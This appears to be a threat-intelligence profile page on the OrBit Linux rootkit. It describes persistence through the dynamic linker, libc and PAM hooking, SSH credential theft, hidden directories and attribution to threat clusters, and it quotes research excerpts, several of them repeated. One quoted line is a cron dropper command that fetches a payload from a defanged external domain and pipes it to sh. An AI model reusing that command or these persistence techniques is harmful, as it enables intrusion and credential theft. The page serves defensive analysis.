Loading malware…
OrBit is a Linux userland rootkit and backdoor family used to maintain stealthy, persistent access on compromised systems, particularly servers, cloud infrastructure, and virtualization environments. It is deployed as a malicious shared library that is loaded into processes system-wide through dynamic linker abuse. Observed variants have used both loader configuration manipulation and direct patching of the dynamic linker so the rootkit is injected broadly across running programs, enabling durable persistence and making removal difficult.
OrBit is known for extensive userland hooking of core libraries and authentication components. It intercepts functions in libc, PAM, libcap, and related interfaces to hide files, directories, processes, library mappings, and network activity from common administrative and forensic tools. It also tampers with procfs views and utility execution to suppress evidence of the malicious library and associated backdoor activity. Multiple variants harvest credentials from SSH and sudo-related authentication flows, including PAM-based interception of usernames and passwords, and some builds support manipulation of authentication outcomes to facilitate unauthorized access.
The malware has also been observed providing remote access through SSH backdoor functionality and maintaining redundant persistence mechanisms so one method can restore the other if partially removed. Some samples log process I/O and conceal malicious traffic from packet capture and network inspection utilities. Later activity showed a two-stage infector and dropper chain associated with OrBit deployments, including cron-based retrieval of updated payloads.
Research published through early 2026 indicates that OrBit is not a wholly distinct codebase but a modified build lineage derived from the publicly available Medusa rootkit. At least two branches have been observed: a fuller-featured lineage with credential theft, packet capture evasion, and broader hooks, and a reduced-feature lineage with a lighter footprint. Use of the OrBit/Medusa codebase has been linked to multiple unrelated threat clusters, including UNC3886, BLOCKADE SPIDER, and a 2025 campaign sharing tooling or infrastructure characteristics with RHOMBUS-linked activity.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
2 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
A dangerous rootkit called OrBit has been quietly targeting Linux systems for years, stealing login credentials and hiding deep inside infected machines without triggering most security tools.
A dangerous rootkit called OrBit has been quietly targeting Linux systems for years, stealing login credentials and hiding deep inside infected machines without triggering most security tools.
18 distinct techniques documented for this family, organized by ATT&CK tactic.
That same year, a new two-stage delivery chain appeared: an infector embeds a dropper, which then extracts and installs the rootkit, with a cron job created to fetch updated payloads from an external domain.
wget --quiet http://cf0[.]pw/ 0 /etc/cron.hourly/ 0 -O- 2 >/dev/null|sh>/dev/null 2 >& 1
To make our library execute code immediately upon loading, we use the constructor attribute: void __attribute__ (( constructor )) init (). This tells the linker: “run this function before the main program even starts.”
Unlike other threats that hijack shared libraries by modifying the environment variable LD_PRELOAD, this malware uses 2 different ways to load the malicious library. The first way is by adding the shared object to the configuration file that is used by the loader. The second way is by patching the binary of the loader itself so it will load the malicious shared object.
That same year, a new two-stage delivery chain appeared: an infector embeds a dropper, which then extracts and installs the rootkit, with a cron job created to fetch updated payloads from an external domain.
it hooks 3 functions in the Pluggable Authentication Module library: pam_open_session , pam_authenticate and pam_acct_mgmt . By hooking these functions the malware is capable of stealing information from SSH connections and providing remote access to the attackers
Its 66-export set includes a significant new hook not seen in any prior variant: pam_sm_authenticate. This is the PAM service-side authentication function, meaning the rootkit now hooks both sides of the PAM stack... allowing the attacker to approve or deny login attempts at will.
To evade detection the malware hooks multiple functions to prevent them from outputting information that might reveal the existence of the malicious shared library in the running processes or the files that are being used by the malware.
The infector scans the filesystem for ELF binaries and injects the second-stage payload into them. An infection marker bongripz4jezuz... is checked before each infection attempt to avoid re-infecting the same target.
All other capabilities are identical: file I/O interception, stat hiding, PAM credential capture, TCP port hiding... LD_PRELOAD management, log suppression, and process hiding. | Along the way, the operators rotate XOR keys, shuffle install paths, swap backdoor credentials, add auditd-evasion hooks...
The malware uses a hardcoded GID value ... to identify the files and processes that are related to the malware and based on that it will manipulate the behavior of the hooked functions.
The malware stores captured credentials and configuration data in a hidden directory called /lib/libseconf/, which standard tools cannot see due to the rootkit’s own hooks.
Unlike other threats that hijack shared libraries by modifying the environment variable LD_PRELOAD, this malware uses 2 different ways to load the malicious library. The first way is by adding the shared object to the configuration file that is used by the loader. The second way is by patching the binary of the loader itself so it will load the malicious shared object.
it hooks 3 functions in the Pluggable Authentication Module library: pam_open_session , pam_authenticate and pam_acct_mgmt . By hooking these functions the malware is capable of stealing information from SSH connections and providing remote access to the attackers
Its 66-export set includes a significant new hook not seen in any prior variant: pam_sm_authenticate. This is the PAM service-side authentication function, meaning the rootkit now hooks both sides of the PAM stack... allowing the attacker to approve or deny login attempts at will.
The malware hooks the pcap_loop function and pcap_packet_callback to filter out the traffic of the backdoor.
The backdoor hooks the read and write functions to log data that is being written by the executed processes on the machine.
if so it will log the credentials to a file /lib/libntpVnQE6mk/sshpass.txt
it hooks 3 functions in the Pluggable Authentication Module library: pam_open_session , pam_authenticate and pam_acct_mgmt . By hooking these functions the malware is capable of stealing information from SSH connections and providing remote access to the attackers
Its 66-export set includes a significant new hook not seen in any prior variant: pam_sm_authenticate. This is the PAM service-side authentication function, meaning the rootkit now hooks both sides of the PAM stack... allowing the attacker to approve or deny login attempts at will.
37 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
7 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Linux rootkit that embeds as a shared library, hooks core system functions to hide itself, captures SSH and sudo credentials, stores them in hidden directories, and provides covert SSH backdoor access. Later variants also hook PAM authentication to forge login outcomes and use droppers/infectors with cron-based payload retrieval.
Linux userland rootkit deployed as a shared library that patches the dynamic linker for persistence, hooks libc and PAM functions to hide activity and harvest credentials, and provides stealthy SSH backdoor access. Later variants added auditd evasion, xread compatibility logic, and PAM service-side impersonation.
Modern Linux rootkit referenced as using linker-based execution flow hijacking techniques.
Linux malware delivered by a dropper and implemented as a malicious shared object that hooks libc, libcap, PAM, and libpcap functions. It achieves persistence via /etc/ld.so.preload and by patching the dynamic loader, steals SSH and command data, hides files/processes/network activity, and provides SSH-based remote access/backdoor capability.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.